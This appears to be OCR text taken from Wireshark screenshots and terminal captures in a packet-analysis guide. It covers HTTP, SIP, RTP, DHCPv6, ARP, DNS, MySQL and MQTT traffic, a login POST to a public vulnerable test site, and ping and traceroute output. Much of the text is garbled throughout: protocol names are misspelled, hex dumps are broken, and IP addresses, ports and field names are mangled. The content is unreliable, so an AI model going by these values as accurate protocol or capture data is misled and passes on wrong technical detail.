172.16.1.207 285 90k 168 27k 17 62k — - - -
224002 1 60 0 0 1 60 — - - -

9 1566 0 0 9 1,566 — - - -
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http.request. method == GET

Mo, Time Source. Destnation Protocol Length Info
12 105.862692 192.168. 45.88.202.115 TP 404 GET / HTTP/1.1

| 13- 109.227455 192.163.0. 34.107.221.82 TP, 357 GET /canonical.html HTTP/1.1
13- 109.290875 192.168.0.. 34.107.221.82 HTTP 350 GET /success. txt2ipvé HTTP/1.1
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L] =] Allinterfaces shown @

You don't have permission to capture on local interfaces.

You can fix this by installing ChmodBPF.
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M Wireshark . Protocol Hierarchy Statistics - Intel(R) Centrino(R) Advanced-N 6235: Wi-Fi - o X
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v User Datagram Protocol a2 2 01 ® 7 0 ] 0 2
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Intemet Control Message Protocol v6 42 2 04 19 2 & w02
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v User Datagram Protocol 20 2 05 % 184 0 ] 0 2
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Multicast Domain Name System 104 5 54 w0 1677 5 %0 ws
Deta 63 3 19 33 6 3 e 3
BitTorrent DHT Protocol 21 1 04 6 m o1 6 m 1
&5 El 74 W 2k 18 S0 16k 30
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a2 2 04 u o 2 u w2

i
g
1






index-373_1.png
M sippcop
File Edt View Go Copture Anslyze Statisics Telephony Wireless Took Help

Souce

ProtocolLength Info

152 4.056633 200.57.7.205 200.57.7.195 ST 460 Request: REGISTER sip:Verso.con (1 binding) |
sz aamas 00.57.7.195 mas7.7.005 <1 514 Statuc: 200 OK (REGTSTER) (1 hinding) |
291124309202 200.57.7.205 200.57.7.195  sIP 460 Request: REGISTER sip:Verso.con (1 binding) |
91220320792 200.57.7.195 200.57.7.205  s1P. 514 Status: 200 OK (RESISTER) (1 binding) |

53¢ from adiress User parts Tuan 5 o 20
SIp fron address Host part: Verso.con 52333 33 30 34 45 38 3441 3%
SIP fron tag: 1516659370 D S
“Ivan" <sip: vanerso. con> - 7
SIP to display dnfo: “Tvan” P R hannkne
© SIP %o sddress: sipiTuanverso.con Sana [ S
517 to sddress User Part: Tvan 335303 Se od on 53 78 70 69 72
SIP to sddress Host part: Verso.con 7320 4 5175 20 66 6f 7277
Call-I0: 46ELCACB3E3047648020CFEOD3F 9646 16Verso. con 726873 PR e
(Generated Cal1-I0: 4GELC3CDI63047643020C 6003 9646 18Ver 0. con] S 7 e e
L e ke 5 6f ce 5 G Gsei7es
9 T RIS e 3477 0d 00 5 773020 53 45 46 45
qence Jumeer: 2¢ 20 49 de 20 4259 45 43 41
tethod: REGISTER 55 ac 20 S5 49 54 45 od 0a 43 o
© Contact: “Tvan" <sipiTvangi00.57.7.205:5061> Pttt dop g d 4
51 C-unT disolay info: “Tan” v i on
< >
@ 7 RFC3261: CaliD Header (sp.Cal-D), S3bytes. | Packets: 4269  Displayed: 4 (0.1%) 1| profie:






index-432_1.png
Bt Veew Go Coptum

e e

4=:® IDRBAcosFICEeaan

| st e v {:1=m[
o e o e oo _uen o -
Bonees 10800800 44283000 FTTP 500 ST fuserinto.gh HITPA-1 {applicatior/scomn form-urlencodd)
Bilmene s e Mean HITP a0 ST fucarinto.ghg WL (pplication/scume formwlencoded)
St Lo 19216138238 WIS a0 ST funerin ghg WTHLLE (pplicatioc e form arlencoded)
& Smars WTR ot ot i g WT/ALS (e e for tencoded)
5 s priseve WITP 559 PST fuserino.gh W11 (pplication/scome-for-urlencoded)
612 55070608 e WITP a3 ST fuserints.she W11 {gpldestion/scome for-urlencodd)
G vavon Wgeeas 4300 VTP a8 ST /userints.ghe WIT/3.3. Cppldcatior/scmmeformurlencoded)
2 loguey e L0 w4200 WIS G st fuserint ghe WTHALE (oplication /e form rlencoded)
prreriovred prisstva WTh 81 MY fucarin g WITPALS Cpplicat it form i o)
Py e WITP a2 ST fuserints.ghe WITPALL application/scome for-urlencodd)
fepreiae P WIS o ST i g WITO1 1 g oo/ i o)
it e emmaris prucire HTS el st userint ghg WAL (ppldcation/sceform arlencoded)
foreiconig WTo a0 st Jueerins g WA 3
prociemms prierivad WTh don AT Jucarinta g WIS

5 daetnizas Lheaa WTN o ST st gy W33 (pplication/ v fore urlencd
G ieree prissse HIN ot st fuserints.phg WIT/a.2 (ppldention/ v form urlencoded)
ey P IR o0 rr fuseifa.gh ITP/A.3 (pplication /e forwu encndd)
72 s somrnis prseea UTh o0 it fumarina g IFT/A.3 (opplicatio /e formu o)
o Ssmen iohse e s ity WITP ot 1Y fune i g WAL ol Fom el
S Dimenie ieieiesn s WP o st et gue WAL (opitention et artencotd)

Frane 31 as byt on wive (688 S35, 100 yses copred (00 1) on imarfoce any, 16 8
et

T eiristo ook et B Pert S 35 o B Sy 4 Ak 1, Lo 732

T Pasets 906 Daplyets 0 %) ored 1090






index-357_1.png
o0 [ o1 02 03 0408 03 1015 1631

Version Paddingbit | Extension | Contributing Marker bit | Payload type | Sequence

number sources Count (CC) number
Timestamp

Synchronization Source (SSRC) Identifier

Synchronization Source (CSRC) Identifier

RTP PAYLOAD






index-287_1.png
e ot View Go Copture Anaize Ststis Telephony Wieless Toots Help

Am g

®=MREaGOLICT

5 1.077083 OHcovo

79 a3s070 oHcave
& 9.039435 766 fefe. DichvD
11 13.002880 oHcavo
12 13 093578 12717 fofe.. DHCPVO.

Ethernet 1T, Src: Pesorpu_fe:sf:95

Wessage type: Solicit (1)
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Length: 24
DUID: 000100011¢30c88080027 7805
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Harduare type: Ethernet (1)
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- option Request
‘option: Option Request. (6)
Length: 4
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[Restrict Npcap driver's access to Administrators only.
Support raw 802. 11 traffic (and moritor mode) for wireless adapters
[install Nocap in WinPcap API-compatibie Mode:
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Warning: Telnet is not a secure protocol, and it is recommended to use Stelnet.
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M Capturing from Intel(R) Centrino(R) Advanced-N 6235: Wi-Fi (host 192.168.1.1 - o X
mgoe REQRes=TE=
(W ool = display fiter . <cti/> -+
Tme Source Destraton Protocol  Length Info ~
10.000000  TaicangT_74:d4:00 Intelcor_2f: 8P 60 Who has 192.168.1.22 Tell 197
20.000052 IntelCor 2f:96:35 TaicangT_74:, 8P 42192.165.1.2 is at 50:00:0b:21
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45.212679  IntelCor 2f:96:35 TaicangT_74:, 8P 42192.165.1.2 is at 50:00:0b:21
56.38453% 192.165.1.2 192.168.1.1 ons 57 Standard query @xfag? A encry
66.390737 192.168.1.1 192.168.1.2 ons 103 Standard query response Oxfat
76.391941  192.168.1.2 192.168.1.1 ons 57 Standard query @x3ad3 A encry
56.398419  192.168.1.1 192.168.1.2 ons 103 Standard query response @x3ac
56.399110  192.165.1.2 192.168.1.1 ons 87 Standard query OxeSa0 AMA erv
< >
Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (450 || 000 80 00 Ob 27 96 35 5c f9 fd 74 4 66 03 66
Ethernet II, Src: TaicangT_74:d4:00 (Sc:f9:fd:74:d4:00), Dst:|| 9910 0B 00 06 04 00 61 5 9 fd 74 d4 60 cO a8
Address Resolution Protocol (request) ez oo 0o 00 60 60 00 ca a5 61 a2 60 60 0 00
90 00 00 00 00 00 00 00 00 00 00 00
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POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Connection: keep-alive

Content-Length: 20

cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

origin: http://testphp.vulnweb.con

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (X11; Linux x86_64) ApplewebKit/537.36 (KHTHL, like Gecko) Chrome/
108.6.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=
apng, */*;q=0.8, application/signed-exchange; v=b3;q=0.9
Referer: http://testphp.vulnweb_con/login. php
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

.9, image/avif, image/webp, image/

[IHTTP/1.1 200 0K

Server: nginx/1.19.6
Date: Thu, 23 Feb 2023 09:44:16 GMT

Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
e S
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Instal

[Oinstall usePcap 1.5.4.0
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[rootcparrot]-[~]
[ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.

64 bytes from 192.168.1.1
64 bytes from 192.168.1.1
64 bytes from 192.168.1.1
64 bytes from 192.168.1.1:
~C

icmp_seg=1 tt1=64 time=7.52 ms
icmp_se ttl=64 time=2.16 ms
icmp_se ttl=64 time=2.06 ms
icmp_seq=4 ttl=64 time=2.07 ms

--- 192.168.1.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 2.063/3.453/7.515/2.345 ms

ﬂoot@parrot]—[—]
~ping ietf.org

PING ietf.org (104.16.44.99) 56(84) bytes of data.
64 bytes from 104.16.44.99 (104.16.44.99): icmp_seq=1 ttl=57 time=40.6 ms

64 bytes from 104.16.44.99 (104.16.44.99): icmp_seq=2 tt

7 time=40.1 ms

64 bytes from 104.16.44.99 (104.16.44.99): icmp_seq=3 ttl=57 time=57.5 ms

~C

--- ietf.org ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 40.090/46.078/57.523/8.095 ms

I:[ rootcparrot]-[~]
“traceroute ietf.org

traceroute to ietf.org (104.16.44.99), 30 hops max, 60 byte packets
1 _gateway (192.168.212.245) 1.952 ms 2.208 ms 2.437 ms

_gateway (192.168.1.1)

4.877 ms 5.947 ms 11.531 ms

abts-north-dynamic-255.47.161.122.airtelbroadband.in (122.161.47.255) 13.192 ms

**C
[x1-lrootcparrot]=[~]
L 1 @pi

2
3
4 125.21.160.21 (125.21.160.21) 16.091 ms 125.18.73.17 (125.18.73.17) 19.725 ms
5

13.408 ms

16.311 ms

13.756 ms
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Configuring wireshark-comnon

Dumpcap can be installed in a way that allows members of the “wireshark"
system group to capture packets. This is recommended over the
alternative of running Wireshark/Tshark directly as root, because less
of the code will run with elevated privileges.

For more detailed information please see
/usr/share/doc/wireshark-conmon/README. Debian.gz once the package is
installed. N

Enabling this feature may be a security risk, so it is disabled by
default. If in doubt, it is suggested to leave it disabled.

Should non-superusers be able to capture packets?

foves>) No>
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192.168.0.254 192.165.0.254 66 56162 > 3306 [ACK] Seq=1 Ack=57 Win=32832 Len=@ TSval=15785614 TSecr=15785614

192.165.0.254 192.165.0.254 132 Login Request user=tfoerste
192.165.0.254 192.165.0.254 66 3306 - 56162 [ACK] Seq=57 Ack=67 Win=32765 Len=@ TSval
192.165.0.254 192.165.0.254 77 Response 0K

192.165.0.254 192.165.0.254 103 Request Query.

192.165.0.254 192.165.0.254 162 Response TABULAR Response

b Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
b Ethernet 11, Src: 00:00:00_00:00:00 (00: :00:00), Dst: 00:
b Internet Protocol Version 4, Src: 192.168.0.254, Dst: 192.168.0.254

© Transmission Control Protocol, Src Port: 56162, Dst Port: 336, Seq: 0, Len: @

:00_00:00:00 (00:
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M Wireshark - Conversations - Wi-Fi

Conversation ettngs Ehemet'3  Bva'2 | Pve TG4 Wp2
i ameresiton AddestA AddressB Packets  Bytes TotalPackets PercentFittred PacketsA—B BytesA—B PacketsB—A BytesB—A RelStart Dumtion Bits/sA—B BitsB—A
497230568 0dedbiddGbs 136 11678 KE 12 %577% 3 34TKB | 100 133%KB 1292114 STATT  9lbitss  16kbps
[ Absolute start tine: 087230660 SCIATAAL00 6722 ASOIMB 6858 802% 202 331.348KB 4660 | 439MiB 0000000 1507195  13kbps  243kbps
Limitto dspey fiter 9723056 AL 3 26 bytes 3 10000%

3 2T6bytes 0 Obytes 38008214 15163 1S6bits/s  Obits/s
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Frame 66: 84 bytes on wire (572 bits), 64 byres captured (672 bits) on dnterface any, i 6
Linux cooked capture vi

Internet Protocol Version 4, Src: 4.99.9.56, Dst: 192.168.59.1
User Datagran Protocol, Src Port: 443, Dst Ports 36185

Data (48 bytes)
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¢ e
[Apply a display filter __ <Ctrl-/> =)+
Time Saurce Destraton Protocol Length Tnfo
- 1o.0000  10.0.1.4 195.41.30.241 MOTT 105 Connect Command
20.235652  195.41.30.241 10.0.1.4 morT 70 Connect Ack
30.236156  10.0.1.8 198.41.30.281 morT 84 Subscribe Request (id=1) [SampleTopic]
40.a75706  195.41.30.241 10.0.1.4 morT 71 Subscribe Ack (id=1)
5o0.710489  198.41.30.241 10.0.1.4 MQTT 116 Publish Message [SampleTopic]
65.713868  10.0.1.4 198.41.30.281 morT 68 Ping Request
76.149017  195.41.30.241 10.0.1.4 morT 68 Ping Response
| e.asme:s  10.0.1.4 198.41.30.241 HQTT 165 Connect Command
" lee.zme2  198.41.30.201 10.0.1.4 T 70 Connect Ack
116.38179%  198.41.30.241 10.0.1.4 morT 91 Publish Hessoge [SampleTopic]
121138882 10.0.1.4 198.41.30.281 morT 68 Ping Request
1311673276 198.41.30.241 10.0.1.4 morT 68 Ping Response
13 16.677122  10.0.1.4 198.41.30.281 morT 68 Ping Request
15 17.050059  198.41.30.241 10.0.1.4 morT 68 Ping Response
16 22.062988  10.0.1.4 198.41.30.281 morT 68 Ping Request
17 22.a00362  198.41.30.241 10.0.1.4 morT 68 Ping Response
18 27.403403  10.0.1.4 198.41.30.281 morT 68 Ping Request
L loa7.eaeer  198.41.30.201 10.0.1.4 morT 68 Ping Response
hsg Len: 37

Protocol Name Length 6
Protocol ame: MQTsdp
Version: MQTT V3.1 (3)

> Connect Flags: @x02, QoS Level: At most once delivery (Fire and Forget), Clean Session Flag
Keep Alive: 5
Client 10 Length: 23

[Client 10: paho/>3AAESaATSDEI95EEE






